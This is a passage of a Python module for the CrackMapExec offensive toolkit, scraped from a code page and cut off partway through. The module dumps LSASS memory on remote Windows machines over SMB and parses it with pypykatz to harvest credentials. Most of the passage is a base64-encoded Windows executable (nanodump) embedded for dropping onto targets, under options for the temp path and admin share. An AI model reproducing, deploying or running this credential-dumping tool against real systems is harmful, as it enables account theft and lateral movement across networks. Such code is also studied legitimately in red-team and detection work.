146 lines
82 KiB
Python
146 lines
82 KiB
Python
# nanodump module for CME python3
|
|
# author of the module : github.com/mpgn
|
|
# nanodump: https://github.com/helpsystems/nanodump
|
|
|
|
from io import StringIO
|
|
import base64
|
|
from pypykatz.pypykatz import pypykatz
|
|
|
|
class CMEModule:
|
|
|
|
name = 'nanodump'
|
|
description = "Get lsass dump using nanodump and parse the result with pypykatz"
|
|
supported_protocols = ['smb']
|
|
opsec_safe = True # not really
|
|
multiple_hosts = True
|
|
|
|
def options(self, context, module_options):
|
|
'''
|
|
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
|
|
NANO_PATH Path where nano.exe is on your system (default: /tmp/shared/)
|
|
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
|
|
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
|
|
'''
|
|
|
|
self.tmp_dir = "C:\\Windows\\Temp\\"
|
|
self.share = "C$"
|
|
self.tmp_share = self.tmp_dir.split(":")[1]
|
|
self.nano_embeded = base64.b64decode("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AEiJwkiLTdDovvj//5BIg8Q4W13DVUiJ5UiD7GBIiU0Qx0X0BwAAAMdF+AAAAADHRfwAAAAASItF9EiJRcCLRfyJRchIjUXASInCSItNEOhN////x0XoBAAAAMdF7AAAAADHRfAAAAAASItF6EiJRcCLRfCJRchIjUXASInCSItNEOga////x0XcCQAAAMdF4AAAAADHReQAAAAASItF3EiJRcCLReSJRchIjUXASInCSItNEOjn/v//kEiDxGBdw1VIieVIgezgAAAASIlNEMdFyGAAAACLRchlSIsASIlFwEiLRcBIiUX4SItF+EgFGAEAAEiJRfBIi0X4SAUcAQAASIlF6EiLRfhIBSABAABIiUXgSItF+EgFJAEAAEiJRdhIi0X4SAXoAgAASIlF0GbHRZAJAGbHRZIAAGbHRZQAAMZFlgDGRZcBSItF8IsAiUWYSItF6IsAiUWcSItF4A+3AA+3wIlFoEiLRdiLAIlFpMdFqAAAAABmx0WsAABmx0WuAABIx0WwAAAAAEjHRbgAAAAAx0WMMAAAAMdFzAAAAACLRcxImEiNlVD///9IAcIPt0WQZokCg0XMAotFzEiYSI2VUP///0gBwg+3RZJmiQKDRcwCi0XMSJhIjZVQ////SAHCD7dFlGaJAoNFzAKLRcxImEiNlVD///9IAcIPtkWWiAKDRcwBi0XMSJhIjZVQ////SAHCD7ZFl4gCg0XMAYtFzEiYSI2VUP///0gBwotFmIkCg0XMBItFzEiYSI2VUP///0gBwotFnIkCg0XMBItFzEiYSI2VUP///0gBwotFoIkCg0XMBItFzEiYSI2VUP///0gBwotFpIkCg0XMBItFzEiYSI2VUP///0gBwotFqIkCg0XMBItFzEiYSI2VUP///0gBwg+3RaxmiQKDRcwCi0XMSJhIjZVQ////SAHCD7dFrmaJAoNFzAKLRcxImEiNlVD///9IAcJIi0WwSIkCg0XMCItFzEiYSI2VUP///0gBwkiLRbhIiQKDRcwISItFEItAEImFTP///4tVjEiNhVD///9BidBIicJIi00Q6KL1//9IjUWMQbkEAAAASYnAuiQAAABIi00Q6D71//9IjYVM////QbkEAAAASYnAuigAAABIi00Q6CD1//9Ii0UQi0AQiYVI////SItF0A+3AA+3wImFRP///0iNhUT///9BuAQAAABIicJIi00Q6DP1//9Ii0XQD7cAD7fQSItF0EiLQAhBidBIicJIi00Q6BL1//+LhUz///+DwBhIjZVI////QbkEAAAASYnQicJIi00Q6KX0//+4AQAAAEiBxOAAAABdw1VIieVIg+xwSIlNEMdF/AAAAABIjVXAi0X8SMdEJCAAAAAAQbkwAAAASYnQicJIi00Q6DXu//+JRfiDffgAeRiLRfiJwkiNDa2pAADoaOz//7gAAAAA6wRIi0XISIPEcF3DVUiB7AADAABIjawkgAAAAEiJjZACAABIiZWYAgAARImFoAIAAESJjagCAABIx4V4AgAAAAAAAMeFdAIAAAAAAABIi42QAgAA6FH///9IiYVYAgAASIO9WAIAAAB1CrgAAAAA6cQEAABmx4VWAgAACABIi4VYAgAASIPAGEiJhUgCAABID7+NVgIAAEiNlRgCAABIi4VIAgAASMdEJCAAAAAASYnJSYnQSInCSIuNkAIAAOiT7P//iYVEAgAAgb1EAgAADQAAgHUTg72oAgAAAHUKuAAAAADpUAQAAIO9RAIAAAB5HouFRAIAAInCSI0N46gAAOhe6///uAAAAADpKQQAAEiLhRgCAABIg8AgSImFOAIAAEgPv41WAgAASI2VEAIAAEiLhTgCAABIx0QkIAAAAABJiclJidBIicJIi42QAgAA6AHs//+JhUQCAACDvUQCAAAAeR6LhUQCAACJwkiNDXCoAADo6+r//7gAAAAA6bYDAABIi4UQAgAASImFMAIAAGbHhXICAAAAAOlYAwAASIuFEAIAAEiNlbABAABIx0QkIAAAAABBuVgAAABJidBIicJIi42QAgAA6Inr//+JhUQCAACDvUQCAAAAeR6LhUQCAACJwkiNDfinAADoc+r//7gAAAAA6T4DAADHhWwCAAAAAAAAx4VoAgAAAAAAAOmzAgAAi4VoAgAASJhIjRTFAAAAAEiLhZgCAABIAdBIiwC6/wAAAEiJweiGJgAAZomFLgIAAA+/hS4CAACNFAAPt4X4AQAAD7fAOcIPhV4CAACDvWwCAAAAD4WBAAAASI1FsEG4AAIAALoAAAAASInB6Kd0AAAPt4X4AQAAD7fISIuFAAIAAEiNVbBIx0QkIAAAAABJiclJidBIicJIi42QAgAA6J/q//+JhUQCAACDvUQCAAAAeR6L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